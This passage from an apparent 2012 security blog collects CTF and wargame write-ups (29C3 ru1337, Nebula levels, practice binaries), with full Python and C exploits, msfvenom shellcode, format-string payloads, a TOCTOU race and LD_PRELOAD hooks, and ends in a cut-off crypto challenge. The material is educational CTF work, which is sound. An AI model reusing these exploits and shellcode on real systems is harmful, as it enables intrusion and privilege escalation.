Vulnerabilities

Monday, December 31, 2012

29C3 CTF - Exploitation 200 - ru1337 [Team xbios]

The given binary is a ELF 32-bit, dynamically linked executable with NX. Below is the important section of the challenge
  dest = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0); // No execute permission
  result = (int)dest;
  if ( dest != (char *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, v2, 0x2Cu, 0);    // Buffer overflow here
    for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i )
    {
      if ( !((*__ctype_b_loc())[v2[i]] & 0x400) ) 
      // Check to prevent against use of non printables
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, &s, 0x80u, 0);
    strcpy(dest, v2);   // Copy the data into mmap'ed segment
    strcpy(dest + 8, &s);

    ((void (*)(void))dest)();  // Tranfer control into the allocated segment
Idea of exploit:
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
#!/usr/bin/env python
# ru1337.py

import socket
import struct

ip = '94.45.252.242' 
port = 1024 
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip,port))
print soc.recv(79)

# msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 -b '\x00' #
shellcode = ("\xda\xce\xba\x2e\x65\x60\xd0\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x83\xee\xfc\x31\x56\x16\x03\x56\x16\xe2\xdb\x0f" +
             "\x6b\x88\xba\x82\x0d\x40\x91\x41\x5b\x77\x81\xaa\x28\x10" +
             "\x51\xdd\xe1\x82\x38\x73\x77\xa1\xe8\x63\x8f\x26\x0c\x74" +
             "\xbf\x44\x65\x1a\x90\xe4\x06\xe2\xb9\xa7\x61\x03\x88\xc8" )

# msfvenom -p linux/x86/exec CMD='/bin/cat flag' -a x86 -b '\x00' #
shellcode = ("\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35" +
             "\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15" +
             "\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d" +
             "\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56" +
             "\x67\xe1\xac\xb6\x4a\x85")

########################## stage 1 #############################
# 28 bytes to overflow buffer 

user  = struct.pack("<I",0) * 5
user += struct.pack("<I",0x0804a16c) # .bss addr for EBP
user += struct.pack("<I",0x08048858) #  replay code, mmap(0, 136, 7, 34, 0, 0);
user += struct.pack("<I",0)
user += struct.pack("<I",136)
user += struct.pack("<I",7)
user += struct.pack("<I",34)
# last 2 parameters are setup in stack during execution

soc.send(user)
print soc.recv(10)
password = "A"*10   # junk
soc.send(password)
print soc.recv(79)

########################## stage 2 #############################

user  = "P" * 8  # push EAX as NOP, ascii instruction to bypass __ctype_b_loc() check  
user += struct.pack("<I",0x08048a05) * 9 # overwrite EIP again
soc.send(user)
print soc.recv(10)

soc.send(shellcode)
print soc.recv(1024)
[ctf@renorobert 1337]# python ru1337.py   # ls
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
flag
ru1337
[ctf@renorobert 1337]# python ru1337.py   # cat flag
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
29C3_d4689608484bc61ec4d47d71ba0a933f
So the flag is: 29C3_d4689608484bc61ec4d47d71ba0a933f

Sunday, December 23, 2012

Exploit Exercise - PHP preg_replace

This level has a setuid binary which acts as a wrapper to execute a php script. The php script uses preg_replace with "e" modifier which makes it vulnerable to code injection. $PATH variable is defined as PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
There are many ways to solve this level. Here is a few:
level09@nebula:/home/flag09$ echo '[email flag@gmail.com]' > /tmp/mail 
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
flag AT gmail dot com

level09@nebula:/home/flag09$ echo '[email {${@system(sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail sh
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system(DIRECTORY_SEPARATOR.bin.DIRECTORY_SEPARATOR.sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

Exploit Exercise - Race Condition

Level 10 of nebula deals with race condition vulnerability. We have a setuid binary and a token file. The objective of this level is to read the token file. The setuid binary uses access() call to check the file for read permission. If successful, it reads the given file and sends it to user supplied ip address. Here is some info from man page about access:

The check is done using the calling process’s real UID and GID, rather than the effective IDs
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.

The scenario is exactly same as described by man page. To solve this level, we will create a file such that access() call succeeds. Then before open() is called, we will remove this file and create a symlink to the token file. Also the race can be won in one shot if we can block the setuid binary between the calls to access() and open(), which gives us lot of time. To block the process, we will fill the pipe fully and connect the stdout of flag10 to that pipe so that it blocks during the call to printf(). Here is the solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET    "/home/flag10/flag10"
#define FLAG      "/home/flag10/token"
#define FILE      "/tmp/access"
#define HOST      "127.0.0.1"

int pipe_fd[2];
char buf[] = {"A"}; 

int main(int argc,char **argv)
{
    char *arg[] = {TARGET, FILE, HOST, 0};
    int size = 65536;   /* Size of pipe to fill */
    int count = 0;
    pipe(pipe_fd);
    /* Fill the pipe */
    while(count < size){
        write(pipe_fd[1], buf, 1);
        count++;
    }
    /* Create file, remove if already existing */
    unlink(FILE);
    open(FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if(fork() == (pid_t)0){
    /* Child Process */
        dup2(pipe_fd[1], 1);
        close(pipe_fd[0]);
        execvp(TARGET, arg);
    }
    else{
    /* Parent Process */
        count = 0;
        close(pipe_fd[1]);
        sleep(2); 
        unlink(FILE);   /* Unlink the file */
        symlink(FLAG, FILE);  /* Create symlink to token */
    /* Drain the pipe */
        while(count < size){
            read(pipe_fd[0], buf, 1);
            count++;
        }
        wait(NULL);
    } 
return 0;
}
Run netcat in another terminal to receive the contents of token file
level10@nebula:/tmp$ gcc -o level10 level10.c 
level10@nebula:/tmp$ ./level10

level10@nebula:~$ nc -vvv -l 18211
Connection from 127.0.0.1 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Saturday, December 22, 2012

Exploit Exercise - Level [11]

In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
 err(1, "fread length");
    }
    process(buf, length);
For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'`
level11@nebula:/home/flag11$ 
level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null

###############################################################################

You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
level11@nebula:/home/flag11$
The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
 system(buffer);
}
Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python
#flag11.py

command = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = str()

for i in xrange(len(command)):
    for j in xrange(256):
        if ((key ^ j) & 0xff ) == ord(command[i]):
            enc = enc + chr(j)
            key = (key - ord(command[i])) & 0xffffffff # unsigned int
            break

junk = "A" * (length - len(command))
print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp"
level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Exploit Exercise - Level [13]

We have to get a token to solve this level. But there is a security check getuid()==1000. To bypass this check, we make a copy of flag13 binary, this removes setuid bit. Then we create a shared object and use LD_PRELOAD to hook getuid() call. Below is the solution
0x080484ef <+43>: call   0x80483c0 <getuid@plt>
0x080484f4 <+48>: cmp    eax,0x3e8
0x080484f9 <+53>: je     0x8048531 <main+109>

level13@nebula:/home/flag13$ cp flag13 ../level13/
level13@nebula:/home/flag13$ cd -
/home/level13
level13@nebula:~$ ls -ld *
-rwxr-x--- 1 level13 level13 7321 2012-02-01 01:08 flag13

level13@nebula:~$ ./flag13 
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation

level13@nebula:~$ cat getuid.c
#include<unistd.h>
uid_t getuid(void)
{
    return 1000;
}
level13@nebula:~$ gcc -fPIC -shared -o lib.so getuid.c 
level13@nebula:~$ ls
flag13  getuid.c  lib.so
level13@nebula:~$ export LD_PRELOAD="/home/level13/lib.so"
level13@nebula:~$ ./flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Wednesday, November 28, 2012

Some Random Binaries [0x02]

Stage6 binary takes argv[1] and argv[2] as input. There is couple of strcpy() calls. First call copies argv[1] into stack buffer at [ebp-0x118]. Another strcpy() call copies argv[2] into the address allocated using malloc(). Also there is an infinite loop at the address 0x8048424, which prevents us from taking control of execution by overwriting saved EIP of main function.
   0x80483e2: call   0x80482d0 <strlen@plt>  
   0x80483e7: inc    eax    
   0x80483e8: mov    DWORD PTR [esp],eax
   0x80483eb: call   0x80482c0 <malloc@plt> # allocate memory (strlen(argv[2])+1)
   0x80483f0: mov    DWORD PTR [ebp-0xc],eax # [ebp-0xc]=ret value from malloc()
   0x80483f3: mov    eax,DWORD PTR [ebp+0xc]
   0x80483f6: add    eax,0x4    
   0x80483f9: mov    eax,DWORD PTR [eax]  
   0x80483fb: mov    DWORD PTR [esp+0x4],eax  
   0x80483ff: lea    eax,[ebp-0x118]
   0x8048405: mov    DWORD PTR [esp],eax
   0x8048408: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x804840d: mov    eax,DWORD PTR [ebp+0xc]  
   0x8048410: add    eax,0x8     
   0x8048413: mov    eax,DWORD PTR [eax]     
   0x8048415: mov    DWORD PTR [esp+0x4],eax
   0x8048419: mov    eax,DWORD PTR [ebp-0xc]
   0x804841c: mov    DWORD PTR [esp],eax
   0x804841f: call   0x80482f0 <strcpy@plt> # strcpy(*([ebp-0xc]), argv[2])
   0x8048424: jmp    0x8048424      # infinite loop
To exploit this binary we have to gain control of execution before it reaches 0x8048424. So the idea is to overflow the buffer with argv[1], thus overwriting the pointer at [ebp-0xc]. This way we can control the destination address of 2nd strcpy() call.
We will overwrite [ebp-0xc] with the address of stack, where EIP is saved during the 2nd call to strcpy and argv[2] will be the address of the shellcode. Thus strcpy() will return into our shellcode.
Core was generated by `./stage6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  *__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277") at strcpy.c:40
40 strcpy.c: No such file or directory.
 in strcpy.c
(gdb) info frame 0
Stack frame at 0xbffffbd0:
 eip = 0xb7f09df4 in *__GI_strcpy (strcpy.c:40); saved eip 0x8048424
 called by frame at 0xbffffd00
 source language c.
 Arglist at 0xbffffbc8, args: dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277"
 Locals at 0xbffffbc8, Previous frame's sp is 0xbffffbd0
 Saved registers:
  ebp at 0xbffffbc8, esi at 0xbffffbc0, edi at 0xbffffbc4, eip at 0xbffffbcc
As we can see, EIP is saved at 0xbffffbcc during the call to strcpy(). So here is the final exploit.
#!/usr/include/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'
shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage6"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) -0x2
env = {"":shellcode}

# os.execve(vuln,[vuln,"A"*272,struct.pack("<I",addr)],env)
# info frame 0 : saved EIP at 0xbffffbcc

saved_eip = 0xbffffbcc
os.execve(vuln,[vuln,struct.pack("<I",0xbffffbcc)*68,struct.pack("<I",addr)],env)
Stage7 [Buffer Overflow & Format string]
The stage7 binary copies data into [ebp-0x118] using strcpy() resulting in buffer overflow. But there is loop at 0x8048436, which checks if [ebp-0xa] is NUL. This prevents us from taking control of execution using saved EIP.
   0x80483d7: mov    WORD PTR [ebp-0xa],0x0  # [ebp-0xa] = 0
   0x80483dd: mov    DWORD PTR [esp],0x4   
   0x80483e4: call   0x80482c0 <malloc@plt> # malloc(4)
   0x80483e9: mov    DWORD PTR [ebp-0x10],eax  # [ebp-0x10]=ret by malloc(4)
   0x80483ec: mov    eax,DWORD PTR [ebp+0xc]   
   0x80483ef: add    eax,0x4
   0x80483f2: mov    eax,DWORD PTR [eax]   
   0x80483f4: mov    DWORD PTR [esp+0x4],eax  
   0x80483f8: lea    eax,[ebp-0x118]
   0x80483fe: mov    DWORD PTR [esp],eax
   0x8048401: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x8048406: mov    eax,DWORD PTR [ebp-0x10]   
   0x8048409: mov    DWORD PTR [esp+0x8],eax
   0x804840d: lea    eax,[ebp-0x118]
   0x8048413: mov    DWORD PTR [esp+0x4],eax
   0x8048417: mov    DWORD PTR [esp],0x8048554
   0x804841e: call   0x80482e0 <printf@plt> # printf("%s%hn\n",[ebp-0x118],*[ebp-0x10])
   0x8048423: lea    eax,[ebp-0xa]
   0x8048426: mov    DWORD PTR [esp+0x4],eax
   0x804842a: mov    DWORD PTR [esp],0x804855b
   0x8048431: call   0x80482e0 <printf@plt> # printf("0x%08x\n", [ebp-0xa])
   0x8048436: cmp    WORD PTR [ebp-0xa],0x0  # check for NUL
   0x804843b: jne    0x8048436    # loops here
The idea to exploit this binary is to overwrite the Global Offset Table entry for printf function. First we will use strcpy() to overwrite the saved pointer at [ebp-0x10]. Then we will use the 1st call to printf to perform a 2 byte overwrite of printf's GOT entry. We will overwrite the higher 2 bytes with 0xbfff. When 2nd call to printf is made, execution is pointed to 0xbfffXXXX instead of libc. Thus we can bypass the NUL byte check at 0x8048436. Here is the exploit:
#!/usr/bin/env python
# stage7.py

import struct
import os

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xb8\x42\xa5\xe8\x6e\x5b\x2b\xc9" +
             "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xeb\xfc\xe2\xb7\xcf" +
             "\xe3\x36\xae\x42\x92\xae\xfd\x01\xd3\xc8\x95\xea\x90\x7e" +
             "\x65\x9d\x79\x1d\x0c\x33\x0f\x02\x9c\x23\x07\xc5\x20\xb4" +
             "\x37\xa7\x49\xda\x68\x54\xe1\x22\x20\xc9\x78\xc3\x03\x6d" )

printf_got = 0x08049664  # 0xb7eddf90
addr = 0xbfffdf90  # GOT entry after overwrite of higher bytes

payload = struct.pack("<I",printf_got+2) * 12287 + "PAD" # 0xbfff bytes
vuln = "./stage7"
shift = (0xc0000000 - 0x4 - len(vuln) - 0x2) - addr
env = {"":"A" * shift + shellcode}

os.execve(vuln,[vuln,payload],env)
Stage8 [Format String]
The stage8 binary has format string vulnerability. We will use this bug to overwrite the dtors as we did in stage3. There is parameter deficiency in the call to snprintf(). This is what the binary does
snprintf([ebp-0x100],256, "%s%c%c%hn", argv[1])
%hn actually points into data written using argv[1]. So we can give any address as input and perform a 2 byte write. I choose to overwrite tail of dtor with 0xbfff, making it point to 0xbfff0000. Here is the exploit:
#!/usr/bin/env python
# stage8.py

import os
import struct

shellcode = ("\xd9\xf6\xd9\x74\x24\xf4\xbe\x5c\x5d\xf3\x25\x58\x29\xc9" +
             "\xb1\x0b\x31\x70\x1a\x03\x70\x1a\x83\xc0\x04\xe2\xa9\x37" +
             "\xf8\x7d\xc8\x9a\x98\x15\xc7\x79\xec\x01\x7f\x51\x9d\xa5" +
             "\x7f\xc5\x4e\x54\x16\x7b\x18\x7b\xba\x6b\x12\x7c\x3a\x6c" +
             "\x0c\x1e\x53\x02\x7d\xad\xcb\xda\xd6\x02\x82\x3a\x15\x24" )

vuln = "./stage8"
dtor = 0x8049668
addr = 0xbfff0000
shift = 0xc0000000 - 0x4 - len(vuln) - 0x2 - addr
arg = struct.pack("<I",dtor+2) * 12287 + "A"   # 0xbffd bytes

env = {"":"A"*shift + shellcode}
os.execve(vuln,[vuln,arg],env)
I couldnt figure out the vulnerability in stage9 and exploit for stage10. Will post it when I solve them.

Some Random Binaries [0x01]

During my free time I worked with some old binaries from here. All the binaries are 32-bit executable, stripped and had no modern day protection. I used a OS running 2.6.32 kernel with ASLR disabled.

Stage2 [Buffer Overflow]
stage2 binary copies argv[1] into [ebp-0x64] using strcpy. 108 bytes will overwrite saved EIP. We overwrite it with the address of shellcode and gain control of execution.
   0x804842d: lea    eax,[ebp-0x64]
   0x8048430: push   eax
   0x8048431: call   0x8048330 <strcpy@plt>
Here is the exploit:
#!/usr/bin/env python
# stage2.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vul = "./stage2"
env = {"":shellcode}
retaddr = 0xc0000000 - 0x4 - len(vul) - len(shellcode) - 0x2
arg = "A"*104 + struct.pack("<I",retaddr)

os.execve(vul,[vul,arg],env)
Stage3 [Format string - dtors overwrite]
stage3 binary passes argv[1] string directly to printf() resulting in format string vulnerability.
   0x8048364: push   ebp
   0x8048365: mov    ebp,esp
   0x8048367: sub    esp,0x8
   0x804836a: mov    eax,DWORD PTR [ebp+0x8]
   0x804836d: mov    DWORD PTR [esp],eax
   0x8048370: call   0x8048288 <printf@plt> 
After finding the offset at which format string in located in stack, I choose to overwrite the dtors with the address of shellcode. Here is the exploit.
#!/usr/bin/env python
# stage3.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vuln = "./stage3"
addr = 0xc0000000 - 0x4 -len(vuln) - len(shellcode) - 0x2 #0xABCD
#  objdump -s -j .dtors stage3
dtor = 0x8049598

A = (addr >> 24) & 0xff
B = (addr >> 16) & 0xff
C = (addr >> 8)  & 0xff
D = (addr >> 0)  & 0xff

format = struct.pack("<I",dtor) + struct.pack("<I",dtor+1) + struct.pack("<I",dtor+2) + struct.pack("<I",dtor+3) + "XX%."+ str(D+0x0100-18) +"x%106$n%."+ str(C+0x0100-D) +"x%107$n%." + str(B+0x0100-C) +"x%108$n%."+ str(A+0x0100-B) +"x%109$n"

#format = "AAAABBBBCCCCDDDDXX" + "%.410x%106$n%.339x%107$n%.256x%108$n%.192x%109$n"

env = {"":shellcode}
os.execve(vuln,[vuln,format],env)

$ id              
uid=1001(user) gid=1001(user) groups=1001(user)
$ python stage3.py
��������XX000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b7ff10400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffffdd800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080483970# 
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stage4 [Buffer Overflow]
stage4 binary has 4 functions with few calls to strncpy() and strncat(). It takes two inputs, argv[1] and HELLOWORLD environment variable. argv[1] string is NUL terminated after 10 bytes but we can overflow the buffer using HELLOWORLD environment variable. Below is the vulnerable function.
   0x8048455: mov    DWORD PTR [ebp-0xc],0x0   # [ebp-0xc] == i = 0
   0x804845c: mov    eax,DWORD PTR [ebp+0x8]   
   0x804845f: mov    DWORD PTR [esp],eax 
   0x8048462: call   0x80483d4    
   0x8048467: mov    eax,DWORD PTR [ebp+0x8]
   0x804846a: mov    DWORD PTR [esp],eax
   0x804846d: call   0x80483f6    
   0x8048472: mov    eax,DWORD PTR [ebp-0xc]   
   0x8048475: add    eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) # while true:
   0x8048478: cmp    BYTE PTR [eax],0x0    
   0x804847b: jne    0x804847f    # if(eax != NUL)
   0x804847d: jmp    0x804849c
   0x804847f: lea    eax,[ebp-0x88]    
   0x8048485: mov    edx,eax     
   0x8048487: add    edx,DWORD PTR [ebp-0xc]   # edx = addr[ebp-0x88] + i
   0x804848a: mov    eax,DWORD PTR [ebp-0xc]   
   0x804848d: add    eax,DWORD PTR [ebp+0x8]   # eax = *(i + arg_pointer)
   0x8048490: movzx  eax,BYTE PTR [eax]   
   0x8048493: mov    BYTE PTR [edx],al   # *edx = eax
   0x8048495: lea    eax,[ebp-0xc]    
   0x8048498: inc    DWORD PTR [eax]    # i++
   0x804849a: jmp    0x8048472
The function copies the input byte by byte into the buffer [ebp-0x88] using a while loop till NUL byte. A counter which is used as array index is located at [ebp-0xc]. When we overflow the buffer, we have to take care how we overwrite this variable. 125th byte overwrites this counter. Values lesser than the value already present in [ebp-0xc] will cause the program to go into infinite loop. I overwrote the counter with 0x7f which will cause the while loop to skip the next 3 bytes, we are actually jumping over this memory area. This is how the stack will look like after overflow
0xffd730a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffd730b8: 0x41414141 0x00000090 0x41414141 0x41414141
0xffd730c8: 0x41414141 0x41414141 0xffd734e8 0x00000000
Notice that the buffer is filled with A's skipping the counter variable. Here is the final exploit:
#!/usr/bin/env python
# stage4.py

import os
import struct

shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage4"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) - 0x2
payload = "A"*124 + struct.pack("B",0x7f) + "PAD" + "A"*12 + struct.pack("<I",addr)
env = {"":shellcode,"HELLOWORLD":payload}
arg = "JUNK"

os.execve(vuln,[vuln,arg],env)
stage5 is very much similar to stage2.

Tuesday, November 13, 2012

Cscamp CTF Quals - Crypto 300 [Team xbios]

Challenge: We received a crypter and a cypher, the aim is to decrypt the cypher and get the original key that is Alphanum and 11 bytes length : Crypter : in attachment Cypher : 7f e7 ff ce 0 98 15 dd 88 fb 6e Also we have found that the crc-Xmodem of the plaintext (key) = 0x8124 PS : If you think you found the right key and doesn't work (a collision), please be sure that the CRC-XMODEM value is equal to 0x8124 before sending us request

We have the crypter which is a ELF 64-bit executable and 11 byte cipher text. First we tried analysing the output giving random inputs and also looked for one to one mapping. But this attempt failed.
[ctf@renorobert Crypto]# file crypt 
crypt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
[ctf@renorobert Crypto]# ./crypt qwerty
your encrypted key is : ce be 56 e6 8a 77 0 0 0 0 0 
[ctf@renorobert Crypto]# cat decipher.py
#!/usr/bin/env python
import subprocess

crypter = "./crypt"
data = ''
for i in range(32,127):
    var = chr(i)
    data = var+': '+subprocess.check_output((crypter,var))
    print data

[ctf@renorobert Crypto]# python decipher.py | grep 7f
S: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
T: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
m: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep e7
h: your encrypted key is : e7 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ff
1: your encrypted key is : ff 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ce
I: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
q: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ': 0'
s: your encrypted key is : 0 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep 98
[ctf@renorobert Crypto]# python decipher.py | grep 15
[ctf@renorobert Crypto]# python decipher.py | grep dd
Then we decided to look more into the binary to understand what's really happening. After some analysis and reversing we wrote the python version of the crypter.
#!/usr/bin/env python
#crypt.py
import sys

arg_2 = [0x01,0xab,0xbf,0x0e,0x1b,0xc9,0xe6,0x8c,0x4d,0xe5,0x56,0x44,0x2d,0x92,0xe4,0x9e,0xdb,0x50,0xe3,0xed,0x82,0xfa,0xda,0x79,0x1f,0x6e,0xa4,0xfc,0xc5,0xbe,0x66,0xb5,0x78,0xcc,0xc2,0xb3,0xd0,0xb0,0x5c,0xe2,0x9f,0x52,0xa1,0x72,0x35,0x24,0x8e,0xa7,0x5e,0xe8,0x5b,0xc0,0xb2,0x49,0xb6,0xfe,0x09,0x06,0x04,0x20,0x1d,0xf5,0x3f,0x51,0x76,0xd7,0xff,0xf2,0xc1,0x83,0x87,0x28,0x99,0xc4,0x90,0xbd,0xbb,0xd3,0xbc,0xea,0xa2,0xe0,0x81,0xa9,0xdd,0x86,0x94,0x74,0x8f,0x5d,0xd6,0x37,0x2f,0xd2,0x88,0xe7,0x62,0x6c,0x10,0xde,0x7b,0x47,0x17,0xa0,0x97,0x26,0x9a,0xee,0xef,0xa3,0x69,0x0b,0xfd,0x8a,0xac,0x61,0x84,0xb1,0xa8,0xb9,0x7a,0xc7,0x22,0x0a,0xf9,0x68,0xba,0x64,0x32,0x89,0x13,0xb8,0xa5,0x73,0x67,0x6f,0x7d,0x3c,0x48,0x30,0xae,0x2c,0xeb,0x38,0x19,0x75,0xaf,0x41,0x12,0xc8,0x70,0x1e,0x29,0x45,0x7e,0x9d,0x43,0x7f,0x65,0x3a,0x08,0xe1,0x2a,0x60,0xcf,0x36,0x31,0x5f,0x85,0x23,0x4e,0x2b,0x18,0xfb,0x5a,0x80,0x77,0x8b,0x7c,0xa6,0x93,0x34,0x46,0xcb,0xdc,0xe9,0xf0,0x0c,0x8d,0x42,0x14,0x59,0x40,0xd9,0xd4,0x4b,0x6a,0x11,0x16,0x6b,0x0d,0x4a,0xcd,0x53,0x54,0x96,0x07,0x9c,0xf8,0x55,0x71,0xf7,0xd8,